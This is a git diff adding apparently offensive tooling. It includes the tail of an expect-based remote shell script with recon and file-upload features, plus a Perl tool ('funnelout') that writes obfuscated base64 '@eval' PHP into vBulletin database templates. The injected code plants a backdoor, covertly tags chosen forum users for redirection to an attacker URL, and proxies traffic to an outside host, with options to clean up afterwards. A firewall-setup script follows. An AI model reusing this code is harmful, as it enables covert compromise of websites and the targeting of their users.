/.*history | strings ; echo ======= + tail /root/.*history | strings + w ; date ; date -u ; df -k ; uname -a + cd /tmp ; pwd + -q Used with -I, skips the first four lines above. + -Q Used with -I, skips all but the last line above. + -B Try to exec bash if available. + -E Use setenv to set variables not \"VAR=val\". + -u file Upload file automatically once connected. If upload cannot + be done due to lack of proper Unix commands on target, an + interactive shell is provided instead. Use the \$A and \$B + environment variables to prepare for and run the file, + respectively, or to otherwise do stuff on target. + -w Use which (not type) to find target commands for upload. + -r rname Uploaded file name on target. + -L Leave the shell in interactive mode after automatic upload + is complete. (Default is to exit the shell.) + -U //str// Execute the \"//\" delimited string \"str\" provided to + upload the file rather than the -u method. End result must + be that rname exists in /tmp. This will normally be a wget + or ftp command. If for some reason (e.g., a previous + failed attempt) the right binary is already there, //str// + could just be //echo//, to basically do nothing at that + step. NOTE: //str// CANNOT contain any \";\" characters. + But \"\\&\\&\" works (yes, you must escape them). + +ENVIRONMENT VARIABLES + B Run the contents of \$B before the automatic upload. + A Run the contents of \$A after the automatic upload. + SHOWTHIS String to show user once connected. + +ftshell Version $version +" + exit 0 +} + +if [regexp "(.*)\\-I (.*)" $argv ignore ava avb] { + # what if -I is an argument of something ftshell is wrapping? + # Then we fix it here. + if [regexp "(.*)\\-I (.*)" $ava ignore avaa avbb] { + set ava "$avaa $avbb" + set avb "-I $avb" + } + set argv "$ava $avb" + send_user "ftshell -I : Issuing recon commands\n" + set dodothis "yes" +} else { + set dodothis "" +} + +if [regexp "(.*)\\-q (.*)" $argv ignore ava avb] { + set argv "$ava $avb" + send_user "ftshell -q : Being quiet about it (no ps or ls)\n" + set dothisquiet "yes" +} else { + set dothisquiet "" +} + +if [regexp "(.*)\\-Q (.*)" $argv ignore ava avb] { + set argv "$ava $avb" + send_user "ftshell -Q : Being REALLY quiet about it (no tail, ps, ls, date or uname)\n" + set dothisquiet "yes" + set dothisreallyquiet "yes" +} else { + set dothisreallyquiet "" +} + +if [regexp "(.*)\\-w (.*)" $argv ignore ava avb] { + set argv "$ava $avb" + send_user "ftshell -w : Using which instead of type\n" + set usewhich 1 +} else { + set usewhich 0 +} + +if [regexp "(.*)\\-E (.*)" $argv ignore ava avb] { + set argv "$ava $avb" + send_user "ftshell -E : Using setenv syntax\n" + set usesetenv 1 +} else { + set usesetenv 0 +} + +if [regexp "(.*)\\-B (.*)" $argv ignore ava avb] { + set argv "$ava $avb" + send_user "ftshell -B : Switching to /bin/bash if available\n" + set dobash 1 +} else { + set dobash 0 +} + +# See if uudecode (and therefore uuencode) is around LOCALLY. +if [catch "exec which uudecode" msg] { + send_user "Can't find uudecode anywhere in PATH\n" + exit 1 +} +if {[string match "/*" $msg] == 0} { + send_user "Can't find uudecode anywhere in PATH\n" + exit 1 +} + +set OtherUpload 0 + +if [regexp "(.*)\\-u ((\[^ \])*)(.*)" $argv ignore ava uLocalFile ignore avb] { + set argv "$ava $avb" + if { [string match "via*" $uLocalFile] } { + send_user "ftshell -u : uploading ${uLocalFile}\n" + set uLocalFile "" + set OtherUpload 1 + } else { + send_user "Local File : $uLocalFile\n" + } +} else { + set uLocalFile "" +} + +if [regexp "(.*)\\-r ((\[^ \])*)(.*)" $argv ignore ava uRemoteFile ignore avb] { + send_user "ftshell Remote File : $uRemoteFile\n" + set argv "$ava $avb" +} else { + set uRemoteFile "" +} + +if [regexp "(.*)\\-L (.*)" $argv ignore ava avb] { + send_user "ftshell -L : Keeping shell alive\n" + set uStayOn 1 + set argv "$ava $avb" +} else { + set uStayOn 0 +} + +#if [regexp "(.*)\\-U \\-\\-(.*)\\-\\-(.*)" $argv ignore ava uRemoteUploadCommand avb] { +if [regexp "(.*)\\-U //(.*)//(.*)" $argv ignore ava uRemoteUploadCommand avb] { + if { [string length $uLocalFile] > 1 } { + send_user "ftshell: Fatal error. Cannot use -u $uLocalFile with -U" + exit 1 + } + send_user "ftshell -U : using -U to upload with::${uRemoteUploadCommand}::\n" + set argv "$ava $avb" +} else { + set uRemoteUploadCommand "" +} + + +if [info exists env(B)] { + set uBeforeCmd $env(B) + send_user "ftshell Before Command: $uBeforeCmd\n" +} else { + set uBeforeCmd "" +} + +if [info exists env(A)] { + set uAfterCmd $env(A) + send_user "ftshell After Command : $uAfterCmd\n" +} else { + set uAfterCmd "" +} + +if [info exists env(SHOWTHIS)] { + set showthis $env(SHOWTHIS) +} else { + set showthis "" +} + +if [catch "spawn $argv" msg] { + send_user "spawn failed: $msg\n" + send_user "\nDid by chance you forget to specify a command to run?\n" + send_user " $argv\n" + exit $? +} + +if { [string length $uLocalFile] > 0 } { + processUpload +} else { + if { [string length $uRemoteUploadCommand] > 0 } { + processUpload + } else { + if { $OtherUpload } { + processUpload + } + } +} + +# if string length $uLocalFile > 0 || +# string length $uRemoteUploadCommand > 0 || +# $OtherUpload { +# processUpload +# } + +send_user "\n" +send_user "+----------------------------------------------------\n" +send_user "+ Welcome to ftshell v.$version -- File Transter Shell\n" +send_user "+ Use ~~ to access menu/commands.\n" +send_user "+ You may need to add extra ~ characters if you\n" +send_user "+ are logged in via something like rlogin.\n" +send_user "+ Typing a ^C during a file transfer, will probably\n" +send_user "+ kill this program and anything you run through it\n" +send_user "+ \n" +send_user "+ New: Interactive mode now always executes a few\n" +send_user "+ commands (unset, ps, grep, w, date, etc.)\n" +send_user "+----------------------------------------------------\n" + +#expect -re $prompt +#send "exec sh\r" +#expect -re $prompt + +set user_break 0 + + +interactive diff --git a/Linux/bin/funnelout.v2.0.0.1.pl b/Linux/bin/funnelout.v2.0.0.1.pl new file mode 100755 index 0000000..25edf67 --- /dev/null +++ b/Linux/bin/funnelout.v2.0.0.1.pl @@ -0,0 +1,987 @@ +#!/usr/bin/perl + +use strict; +use warnings; +use Getopt::Long; +use DBI; +use MIME::Base64; +use Digest::MD5 qw(md5_hex); +use POSIX ":sys_wait_h"; + +my $hour = 60*60; + +my $force = 0; +my $verbose = 0; +my $DB_host = "localhost"; +my $DB_port = "3306"; +my $DB_name; +my $DB_user; +my $DB_pass; +my $DB_table = "template"; +my $DB_con; +my $config_file; +my $sslOP = "ssloff"; +my $tagInt = 6; +my $tagTime = 24*$hour; +my $tagUrl; +my $http = 1; +my $blackList = '84b8026b3f5e6dcfb29e82e0b0b0f386'; # unregistered +my @excludeList; +my @excludeListHex; +my @includeList; +my @includeListHex; +my $tagTemplate = "navbar"; +my $proxyTemplate = "header"; +my $doorTemplate = "footer"; +my $proxyPage = "showpost.php"; + +my $codePrefix = '".@eval(base64_decode("'; +my $codeSuffix = '"))."'; + +my $op; +my $code_door; +my $code_tag; +my $code_proxy; + +my @opTypes = ("tag", "door", "proxy", "status", "reset", + "cleanTag", "cleanDoor", "cleanProxy", "cleanAll", + "showTag", "showDoor", "showProxy", "showTagged"); + +sub main(); + +getOpts(); +main(); + + +sub main() { + $DB_con = DBI->connect("DBI:mysql:$DB_name:$DB_host:$DB_port", $DB_user, $DB_pass) or die "Error connecting @!"; + + if($op eq "tag") { + op_tag(); + } elsif ($op eq "door") { + op_door(); + } elsif ($op eq "proxy") { + op_tag(); + op_proxy(); + } elsif ($op eq "status") { + op_status(); + } elsif ($op eq "reset") { + op_reset(); + } elsif ($op eq "cleanTag") { + op_clean($tagTemplate); + } elsif ($op eq "cleanDoor") { + op_clean($doorTemplate); + } elsif ($op eq "cleanProxy") { + op_clean($proxyTemplate); + op_clean($tagTemplate); + } elsif($op eq "cleanAll") { + op_cleanall(); + } elsif ($op eq "showTag") { + show_table($tagTemplate); + } elsif ($op eq "showDoor") { + show_table($doorTemplate); + } elsif ($op eq "showProxy") { + show_table($proxyTemplate); + } elsif ($op eq "showTagged") { + showTagged(); + } else { + die "Unknown op.\n"; + } + + $DB_con->disconnect(); +} + +sub getOpts { + my $help = 0; + + my ($lDB_host, $lDB_port, $lDB_name, $lDB_user, + $lDB_pass, $lDB_table, $lSSL, $lTagTime); + + if($#ARGV == -1) { + printUsage(); + exit(1); + } + + GetOptions( + "help!" => \$help, + "op:s" => \$op, + "h:s" => \$lDB_host, + "port:s" => \$lDB_port, + "d:s" => \$lDB_name, + "u:s" => \$lDB_user, + "p:s" => \$lDB_pass, + "t:s" => \$lDB_table, + "conf:s" => \$config_file, + "ssl:s" => \$sslOP, + "int:i" => \$tagInt, + "time:i" => \$lTagTime, + "tag:s" => \$tagUrl, + "http!" => \$http, + "bl:s" => \$blackList, + "exclude|x:s" => \@excludeList, + "exclude-hex|xh:s" => \@excludeListHex, + "wl|include|i:s" => \@includeList, + "include-hex|ih:s" => \@includeListHex, + "tagtemplate:s" => \$tagTemplate, + "proxytemplate:s" => \$proxyTemplate, + "doortemplate:s" => \$doorTemplate, + "f!" => \$force, + "v!" => \$verbose + ); + + if($help eq "1" or not defined $op) { + printUsage(); + exit(1); + } + + grep(/\Q$op\E/, @opTypes) or die "Invalid op. Use: " . join(' ', @opTypes) ."\n"; + + defined($config_file) and read_config($config_file); + + if(defined($lDB_host)) { + $DB_host = $lDB_host; + } + + if(defined($lDB_port)) { + $DB_port = $lDB_port; + } + + if(defined($lDB_name)) { + $DB_name = $lDB_name + } + + if(defined($lDB_user)) { + $DB_user = $lDB_user; + } + + if(defined($lDB_pass)) { + $DB_pass = $lDB_pass; + } + + if(defined($lDB_table)) { + $DB_table = $lDB_table + } + + defined($DB_host) and defined($DB_port) and defined($DB_name) + and defined($DB_user) and defined($DB_pass) and defined($DB_table) + or die "DB stuff not defined.\n"; + + if(defined($lTagTime)) { + $tagTime = $lTagTime * $hour; + } + + if (defined($tagUrl) and $tagUrl !~ /(.+?)\/.+?\/.+?\/(.+?)\/\d+\/(.+?)\/(.*)/) { + die "Invalid tag URL: $tagUrl\n"; + } + + print "DB Host: $DB_host\n"; + print "DB Port: $DB_port\n"; + print "DB Name: $DB_name\n"; + print "DB User: $DB_user\n"; + print "DB Pass: $DB_pass\n"; + print "DB Table: $DB_table\n\n"; + + if($op eq "tag" or $op eq "proxy") { + defined $tagUrl or die "You must give a tag URL.\n"; + + print "SSL: $sslOP\n"; + print "Tag Rand Interval: $tagInt\n"; + print "Tag Time: $tagTime\n"; + print "Tag Template: $tagTemplate\n"; + print "Proxy Template: $proxyTemplate\n" if $op eq "proxy"; + + if($sslOP ne "sslonly" and $sslOP ne "mixed" and $sslOP ne "ssloff") { + die "Unkown ssl option ($sslOP), options are sslonly, mixed or ssloff\n"; + } + + if(not $force and $tagInt < 2) { + die "Tag Interval cannot be less than 2.\n"; + } + + if(not $force and $tagTime < $hour) { + die "Tag time cannot be less than 1.\n"; + } + + my $tmp_bl = $blackList; + $tmp_bl =~ s/[a-fA-F0-9,]//g; + if($tmp_bl ne "") { + die "There are illegal characters in the black list ($tmp_bl). You need comma separated MD5 sums\n"; + } + } + +# if($DB_name eq "" or $DB_user eq "" or $DB_pass eq "" or $DB_host eq "") { +# print "Database Name, User, Password and Host are required\n"; +# exit; +# } +} + +sub printUsage { + print <fetchrow_array()) { + my $code = extractCode($row[1]); + my $s = "??"; + if ($code =~ /proxyhost/) { + $s = "Proxy"; + $pc = $code; + $p = 1; + } + if ($code =~ /l9ed39e2fea93e5/) { + $s = "Tag"; + $tc = $code; + $t = 1; + } + if ($code =~ /_SERVER\[\"HTTP_REFERRER\"\]/) { + $s = "Backdoor"; + $d = 1; + } + $msg .= sprintf "%-15s $row[0]\n", "$s template:"; + } + print "Status: "; + print "TAGGING " if $t; + print "PROXYING " if $p; + print "BACKDOOR" if $d; + print "nothing enabled" if !$t and !$p and !$d; + print "\n"; + print $msg; + + if ($t) { + my ($h,$tag) = extractTag($tc, $pc); + print "Proxy " if $p; + print "Tag: " . (defined $tag ? $tag : "???") . "\n"; + print "Proxy Target: $h\n" if $p; + } +} + +sub op_reset() { + sql_exec("DELETE FROM datastore WHERE ". + "LENGTH(title) = 15 AND LENGTH(data) < 60 and data LIKE 'a:2:{i:0;i:%;i:1;i:%;}'"); +} + +sub show_table { + my $title = $_[0]; + + my $statement = sql_exec( + "SELECT template FROM $DB_table WHERE title='$title'"); + + print $statement->fetchrow() . "\n"; + + $statement->finish(); +} + +sub showTagged { + my $statement = sql_exec("SELECT title, data FROM datastore WHERE ". + "LENGTH(title) = 15 AND LENGTH(data) < 60 and data LIKE 'a:2:{i:0;i:%;i:1;i:%;}'"); + + print "------ User ------+---- last page view reset time ----+--- page views until tag ---\n"; + while (my @row = $statement->fetchrow_array()) { + my $name = $row[0]; + my @state = tagStateUnserialize($row[1]); + my @ts = localtime($state[0]); + my $rtime = sprintf("%02d/%02d/%04d %02d:%02d:%02d", + ($ts[4] + 1), $ts[3], ($ts[5]+1900), $ts[2], $ts[1], $ts[0]); + my $views; + if ($state[1] == -1) { + $views = "-1 (tagged, waiting for reset)"; + } else { + $views = $state[1]; + } + printf "%-17s | %-34s| %s\n", $name, $rtime, $views; + } +} + +sub patch_db { + my $patchString = $_[0]; + my $title = $_[1]; + + $patchString =~ s/\\/\\\\/g; + + print "Patching... "; + + my $statement = sql_exec( + "UPDATE $DB_table SET template = CONCAT(template, '$patchString') WHERE title='$title'"); + + $statement->finish(); + + print "Done\n"; + + if(verify($patchString, $title, 1) == 0) { + print "Patch failed\n"; + } +} + +sub tagStateUnserialize() { + my $d = shift; + + $d =~ /a:2:\{i:0;i:(\d+);i:1;i:(-?\d+);}/ or return undef; + + return ($1, $2); +} + +sub op_clean { + my $title = $_[0]; + print "Cleaning code... "; + + my $statement = sql_exec( + "UPDATE $DB_table SET template = SUBSTRING_INDEX(template, '\".\@eval(',1) WHERE title='$title';"); + + print "Done\n"; + + $statement->finish(); + + if(verify('".@eval(', $title, 1) == 1) { + print "Clean failed\n"; + } +} + +sub op_cleanall { + my $statement = sql_exec( + "UPDATE $DB_table SET template = SUBSTRING_INDEX(template, '$codePrefix',1);"); + $statement->finish(); + + $statement = sql_exec( + "SELECT title FROM $DB_table WHERE template LIKE '%$codePrefix%';"); + $statement->fetchrow_array(); + $statement->rows == 0 or die "Clean didn't take.\n"; + print "All clean.\n"; +} + +sub verify { + my $checkString = $_[0]; + my $title = $_[1]; + my $verbose = $_[2]; + + $checkString =~ s/\\/\\\\/g; + + print "Verifying... " if $verbose; + + my $statement = sql_exec( + "SELECT template FROM $DB_table WHERE title='$title' and template LIKE '%$checkString%'"); + + $statement->fetchrow_array(); + + my $row_count = $statement->rows; + + $statement->finish(); + + if($row_count == 0) { + print "Patch is NOT in the database.\n" if $verbose; + return 0; + } else { + print "Patch is in the database.\n" if $verbose; + return 1; + } +} + +sub sql_exec { + my $stat = $_[0]; + + #print "SQL: $stat\n"; + + my $statement = $DB_con->prepare($stat); + $statement->execute() or die "Error executing statement: @!"; + + return $statement; +} + +sub validateTemplate { + my $template = $_[0]; + + my $statement = sql_exec("SELECT template FROM template WHERE title = '$template'"); + while (my @row = $statement->fetchrow_array()) { + checkPhpSyntax($row[0]) or return 0; + } + + return 1; + +} + +{ +my $php; +sub checkPhpSyntax { + my $code = $_[0]; + + # look for php + if (not defined($php)) { + foreach my $p (split(':', $ENV{PATH})) { + if (-x "$p/php") { + $php = "$p/php"; + last; + } + } + + if (not defined($php)) { + print "Warning: Failed to find php command line.\n"; + print "We couldn't validate the modified template, but you are probably ok.\n"; + $php = "0"; + } + } + + if (defined($php) and $php ne "0") { + my $pid = open(PHP, "|-", "$php -H -l -n -d log_errors=Off &>/dev/null"); + print PHP $code; + close(PHP); + if (not WIFEXITED($?) and not WEXITSTATUS($?) == 0) { + return 0; + } + } + + return 1; +}} + +sub existsUser { + my $u = $_[0]; + + my $statement = sql_exec("SELECT username FROM user WHERE username='$u'"); + while (my @r = $statement->fetchrow_array()) {} + return 1 if ($statement->rows > 0); + return 0; +} + +sub getUserList { + my $lst = $_[0]; + my $lsth = $_[1]; + my @users = (); + + if (defined($lst)) { + push @users, split(',', join(',', @$lst)); + } + + if (defined($lsth)) { + my @hstrs = split(',', join(',', @$lsth)); + my @str = (); + foreach my $s (@hstrs) { + $s =~ /^[a-fA-F0-9]+$/ or die "Invalid hex string: $s\n"; + length($s) % 2 == 0 or die "Invalid hex string length: $s\n"; + push @users, pack("C*", map(hex, unpack("(A2)*", $s))) + } + } + + return @users; +} + + +sub getVbVersion() { + my $stat = sql_exec("SELECT value FROM setting WHERE varname = 'templateversion'"); + my @row = $stat->fetchrow(); + $stat->finish(); + if (@row == 0) { + return undef; + } + else { + return $row[0]; + } +} + + +sub read_config { + my $file = $_[0]; + + my $line; + + my $crap; + my $major; + my $minor; + my $field; + my $value; + + open (IN, "<$file") or die "Can't open ($file) $!\n"; + + while($line = ) { + $line = trim($line); + if( !($line =~ m/^[\/\/\#]/) and $line =~ m/\$config/) { + ($major, $value) = split(/=/, $line); + + $value = trim($value); + $value =~ s/[ ;\']//g; + + ($crap, $major, $crap, $minor, $crap) = split(/\'/, $major); + + $field = "$major$minor"; + if($field eq "Databasedbname") { + $DB_name = $value; + } elsif($field eq "Databasetableprefix") { + $DB_table = "$value$DB_table"; + } elsif($field eq "MasterServerservername") { + $DB_host = $value; + } elsif($field eq "MasterServerport") { + $DB_port = $value; + } elsif($field eq "MasterServerusername") { + $DB_user = $value; + } elsif($field eq "MasterServerpassword") { + $DB_pass = $value; + } + } + } + + close(IN); +} + +sub trim { + my $string = $_[0]; + $string =~ s/^\s+//; + $string =~ s/\s+$//; + return $string; +} + +sub run { + my $cmd = $_[0]; + + print "CMD: $cmd\n"; + print `$cmd`; +} + +sub getBase64Encode { + my $enc = encode_base64($_[0]); + $enc =~ s/\n//g; + $enc; +} + +sub getBase64File { + my $filename = $_[0]; + my $contents; + + + open(IN, "<$filename") or die "Couldn't open file $filename: $!\n"; + + binmode(IN); + $contents = encode_base64(do { local $/; }); + close(IN); + + $contents =~ s/\n//g; + $contents; +} + +sub makeTagCode { + my $contents; + my $text; + my $urlBuild; + my $bl; + my $proxyUrl; + my $proxyTo; + my $doSSL = ""; + + print "BL: $blackList\n"; + foreach my $b (split(/,/, $blackList)) { + $bl .= " and \$md !== '" . trim($b) . "'"; + } + + my @users = getUserList(\@excludeList, \@excludeListHex); + my $msg = "Exclude: "; + my $exp = ""; + foreach my $u (@users) { + existsUser($u) or die "User '$u' does not exist in database.\n"; + my $xu = md5_hex($u); + $msg .= "$u($xu) "; + $bl .= " and \$md !== '$xu'"; + } + $bl .= $exp if length($exp) > 0; + print "$msg\n"; + + @users = getUserList(\@includeList, \@includeListHex); + $msg = "Include: "; + $exp = ""; + foreach my $u (@users) { + existsUser($u) or die "User '$u' does not exist in database.\n"; + my $xu = md5_hex($u); + $msg .= "$u($xu) "; + $exp .= " or \$md == '$xu'"; + } + $bl .= " and (false $exp)" if length($exp) > 0; + print "$msg\n"; + print "filter exp: true $bl\n" if $verbose; + + $tagUrl =~ s/[\r\t\n]//g; + $tagUrl = trim($tagUrl); + + if($tagUrl =~ m/\.html$/) { + die "Tag should not be ending with '.html' (it's automatically appended), check to make sure you entered it correctly!\n"; + } + + if($tagUrl =~ m/^(http|https):\/\//) { + die "Tag should not start with http:// or https:// (those are automatically prepended), check to make sure you entered it correctly!\n"; + } + + + if($op eq "proxy"){ + ($proxyTo, $proxyUrl) = split(/\//, $tagUrl, 2); + $urlBuild = '$htt = "showpost.php/' . $proxyUrl . '";'; + } elsif(!$http) { + $urlBuild = '$htt = "' . $tagUrl . '";'; + } else { + if($sslOP eq "ssloff") { + $doSSL = "or isset(\$_SERVER['HTTPS'])"; + $urlBuild = '$htt = "http://' . $tagUrl . '";'; + } elsif($sslOP eq "mixed") { + $urlBuild = <datastore) $doSSL) { + return ""; +} + +// Get pointers +\$bd = 'build_datastore'; +\$v =& \$vbulletin; +\$d =& \$v->datastore; +\$r =& \$d->registry; + +// Get local state, username and array with switch and ctime +\$n = \$_SERVER['SERVER_ADDR'] . \$r->config['MasterServer']['servername']; +\$u = \$v->userinfo['username']; +\$k = substr(md5("l9ed39e2fea93e5" . \$n), 0, 15); +\$d->fetch(array(\$k)); + +clearstatcache(); +\$st = stat("showthread.php"); +\$st[10] = 1258466920; + +// Initialize. This is the first run. +if(!isset(\$r->\$k)) { + \$tmp[0] = true; + \$tmp[1] = \$st[10]; + + \$bd(\$k, serialize(\$tmp), 1); + \$d->fetch(array(\$k)); + + // Don't tag if, for whatever reason, we can't save state. + // Same length is used for username. So if this key is saved + // then the username should be saved. + if(!isset(\$r->\$k)) { + return ""; + } +} + +// We don't want to tag if the switch is off or showthread's ctime (st[10]) has changed. +\$rk =& \$r->\$k; +if (!is_array(\$rk)) { + \$rk = unserialize(\$rk); +} + +if(\$rk[0] == false OR \$rk[1] !== \$st[10]) { + return ""; +} + +if(THIS_SCRIPT=='showthread' or (THIS_SCRIPT=='private' and + (\$_REQUEST['do']=='newpm' or \$_REQUEST['do'] == 'showpm'))){ + + \$eu=urlencode(\$u); + \$md = md5(\$u); + if(true$bl) { + \$td = time(); + \$key = substr(md5(\$n . \$u . \$v->userinfo['salt']), 0, 15); + \$d->fetch(array(\$key)); + + if(!isset(\$r->\$key)) { + \$bd(\$key, serialize(array('')), 1); + \$d->fetch(array(\$key)); + } + + \$rk =& \$r->\$key; + if (!is_array(\$rk)) { + \$rk = unserialize(\$rk); + } + if(preg_match('/^(64\.38\.3\.50|195\.28\.|94\.102\.|91\.93\.|41\.130\.|212\.118\.|79\.173\.|85\.159\.|94\.249\.|86\.108\.)/',IPADDRESS)){ + return ""; + } + if(\$td - \$rk[0] >= $tagTime) { + \$rk[0] = \$td; + \$rk[1] = rand(0, $tagInt); + + \$bd(\$key, serialize(\$rk), 1); + } + + if(\$rk[1] > 0) { + \$rk[1] = \$rk[1] - 1; + \$bd(\$key, serialize(\$rk), 1); + } + else if(\$rk[1] == 0) { + // should make it -1 and stop tagging for today. + \$rk[1] = \$rk[1] - 1; + \$bd(\$key, serialize(\$rk), 1); + + $urlBuild + return ''; + } + } +} + +return ""; +END + + checkPhpSyntax($text) or die "Tag code has a PHP syntax error.\n"; + + my $prepared = prepareCode($text); + #print "---- CODE ----\n$text\n---- CODE ----\n"; + + return $prepared; +} + + +sub makeProxyCode { + my $text; + my $proxyUrl1; + my $proxyUrl2; + my $proxyTo; + my $prxy; + + ($proxyTo, $proxyUrl1, $proxyUrl2, $prxy) = ($tagUrl =~ /(.+?)\/.+?\/.+?\/(.+?)\/\d+\/(.+?)\/(.*)/); + print "Proxy matching on: $prxy\n"; + $text = < 0){ + \$query = \$_SERVER['QUERY_STRING']; + if(strlen(\$query) > 1){ + \$fa = "http://\$fahost/\$new_path?\$query"; + } + else{ + \$fa = "http://\$fahost/\$new_path"; + } +} + +\$refer = \$_SERVER['HTTP_REFERER']; +\$lang = \$_SERVER['HTTP_ACCEPT_LANGUAGE']; +\$forw = \$_SERVER['HTTP_X_FORWARDED_FOR']; +\$url_info = parse_url(\$fa); +\$query = isset(\$url_info["query"]) ? "?" . \$url_info["query"] : ""; +\$req = "GET " . \$url_info["path"] . \$query . " HTTP/1.1\\r\\n"; +\$req .= "Host: " . \$proxyhost . "\\r\\n"; +\$req .= "User-Agent: " . \$agent . "\\r\\n"; +\$req .= "Accept-Language: " . \$lang . "\\r\\n"; +if(strlen(\$script) > 0){ + \$req .= "From: " . \$script . "\\r\\n"; +} +if(!empty(\$_SERVER['HTTP_X_FORWARDED_FOR'])){ + \$req .= "X-Forwarded-For: " . \$forw . ", " . \$_SERVER['REMOTE_ADDR'] . "\\r\\n"; +} +else{ + \$forw = \$_SERVER['REMOTE_ADDR']; + \$req .= "X-Forwarded-For: " . \$forw . "\\r\\n"; +} +\$req .= "Referer: " . \$refer . "\\r\\n"; +\$req .= "Connection: close\\r\\n"; +\$req .= "\\r\\n"; + +\$port = isset(\$url_info["port"]) ? \$url_info["port"] : 80; +\$fp = fsockopen(\$url_info["host"],\$port,\$errno,\$errstr,30); +if(!\$fp){ + exit(); +} +fwrite(\$fp,\$req); +stream_set_timeout(\$fp,60); +\$res = ""; +while(!feof(\$fp)){ + \$res .= fgets(\$fp,128); +} +fclose(\$fp); +\$res = \@explode("\\r\\n\\r\\n",\$res,2); +\$header = \$res[0]; +\$page = \$res[1]; + +\$headers = explode("\\r\\n",\$header); +foreach(\$headers as \$value){ + \$a = ""; + \$b = ""; + list(\$a,\$b) = explode(":",\$value); + \$http_header[trim(\$a)] = trim(\$b); + if((\$_SERVER['HTTPS']) && (preg_match("/Pragma: no-cache|Cache-Control: no-cache, no-store/",\$value))){ + + } + else{ + header(\$value); + } +} + +\$size = \$http_header["Content-Length"]; +\$type = \$http_header["Content-Type"]; + +if(empty(\$http_header['Content-Type'])){ + \$type = 'text/html'; +} + +//if(preg_match("/\$proxyhost/",\$page)){ +// \$text = preg_replace("/\$proxyhost/", \$proxy, \$page); +// \$size = strlen(\$text); +//} +//else{ + \$text = \$page; +//} +if (eregi('text/html',\$type)){ + header("Content-Type: text/html;charset="); +} +if((\$_SERVER['HTTPS']) && (preg_match("/http:\\\/\\\/\$proxyhost/",\$text))){ + \$text = preg_replace("/http:\\\/\\\/\$proxyhost/", "https://\$proxyhost", \$text); + \$size++; +} +header("Content-Length: \$size"); + +print \$text; +exit(0); +} +END + + checkPhpSyntax($text) or die "Proxy code has a PHP syntax error.\n"; + + my $prepared = prepareCode($text); + #print "---- CODE ----\n$text\n---- CODE ----\n"; + + return $prepared; +} + +sub prepareCode { + my $text = $_[0]; + + my $contents = ""; + + foreach my $line (split(/\n/, $text)) { + $line = trim($line); + my $append = " "; + + if($line ne "" and not ($line =~ m/^\/\//)) { + if($line =~ m/[\;\)\}\{]$/) { + $append = ""; + } + + #optimize: + $line =~ s/\) \{/\)\{/g; + $line =~ s/ == /==/g; + $line =~ s/ !== /!==/g; + $line =~ s/ = /=/g; + $line =~ s/ - /-/g; + $line =~ s/ =& /=&/g; + $line =~ s/, /,/g; + $line =~ s/ > />/g; + $line =~ s/\} else/\}else/g; + $line =~ s/ \. /\./g; + + $contents .= $line . $append; + } + } + + return getBase64Encode($contents); +} diff --git a/Linux/bin/fw_setup-new.pl b/Linux/bin/fw_setup-new.pl new file mode 100755 index 0000000..1d8df16 --- /dev/null +++ b/Linux/bin/fw_setup-new.pl @@ -0,0 +1,464 @@ +#!/usr/bin/env perl +$version = "2.0.0.3"; +use LWP; +use HTTP::Cookies; +require "getopts.pl"; +use File::Basename qw(basename dirname); +$prog = basename $0; +######################################################### +# +# 19 Aug 2008 +# +# A commandline script to configure the +# FK firewall. +# +######################################################### + +my $autoutils = "../etc/autoutils" ; +unless (-e $autoutils) { + $autoutils = "/current/etc/autoutils" ; +} +if (-e $autoutils) { + require $autoutils; +} + + +############### MAIN ############### + +# Get OS ($^0 returns O/S that Perl was compiled for) +my $ostype = lc $^O; + +# If OS is not Linux, exit +if ($ostype ne "linux") +{ + mydie("This script is only meant to be run in Linux. Sorry!"); +} +# Use Getopts to parse @ARGV +mydie("bad option(s)") if (! Getopts( "hvrasu:t:p:i:cR:" ) ) ; + +mydie("\n$prog version $version\n") if $opt_v; +$initialsetup = $opt_c; +printUsage() if $opt_h or @ARGV; +$remove_rules = $opt_r; +@ADDIPS = split(/[\s,]+/,$opt_i); +foreach (@ADDIPS) { + mydie("Invalid IP -i $_") + unless /^\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}$/; +} +$allowall = $opt_a; +$showrules = $opt_s; +$TIMEOUT = int($opt_t); +mydie("Timeout -t $TIMEOUT must be at most 8") + if ($opt_t and ($TIMEOUT > 8 or $TIMEOUT < 0)); +$USERNAME = $opt_u; +$USERNAME = $opuser unless $USERNAME; +$PASSWORD = $opt_p; +$PASSWORD = $oppasswd unless $PASSWORD; + +mydie("-a cannot be used with any of -i, -c -r or -s") + if (($remove_rules or $showrules or @ADDIPS or $initialsetup) and + ($allowall)); + +mydie("-i and -c cannot be used with -r or -s") + if (($remove_rules or $showrules) and (@ADDIPS or $initialsetup)); + +mydie("-u USERNAME is required") + unless $USERNAME; + + +#$REMOTEIP = $opt_i; +#mydie("Invalid remote IP -r $REMOTEIP") +# unless $REMOTEIP =~ /^\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}$/; + + +# If user did not specify a username from the command line, +# display usage and exit +printUsage(0) unless $USERNAME; + +# If user did not specify a password from the command line, +# prompt interactively +if(!$PASSWORD) { + system ("stty -echo"); + print "\n".gmtime()." $prog: Enter Password for $USERNAME: "; + chomp ($PASSWORD=); + system ("stty echo"); +} +dbg("c=$opt_c i=$opt_i A=(@ADDIPS)"); + +# Get our default gateway (which is the FW) +# MODIFIED - our test gateway is different than the default gateway +# get our default router, where the webpage lives +$route = `route -n`; +($dummy,$GATEWAY) = $route =~ /(0.0.0.0|default)\s+(\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3})\s+0.0.0.0/; +# -R option not in usage, switches to this IP for testing if -R is on +$GATEWAY = $opt_R if $opt_R; +mydie("Cannot find default gateway via \"route -n\" command. Output was=$route=") + unless $GATEWAY =~ /^\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}$/; +# + + +# Get our FK IP +# MODIFIED - originally, would not die if interface did not contain an IP +# **Also changed "ifconfig eth0" to "ifconfig eth1" because our test system's IP was on eth1 +# get our ip +$ifconfig = `ifconfig eth0`; +($dummy2, $OUR_IP) = $ifconfig =~ /(inet addr:)(\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3})\s+Bcast/; + +die "Unable to determine our eth0 IP\n" + unless $OUR_IP; +# + +# Die here with usage unless we have creds +printUsage(1) unless $USERNAME and $PASSWORD; + +# ASSERT: We will be making a connection, so the rest all +# requires authentication. +fwConnect(); + +if($remove_rules) { + removeRules(); + listRules(); + exit 1; +} + +InitialSetup() if $initialsetup; + +if (@ADDIPS) { + addIp(@ADDIPS); +} + +if ($initialsetup or @ADDIPS) { + listRules(); + exit; +} + 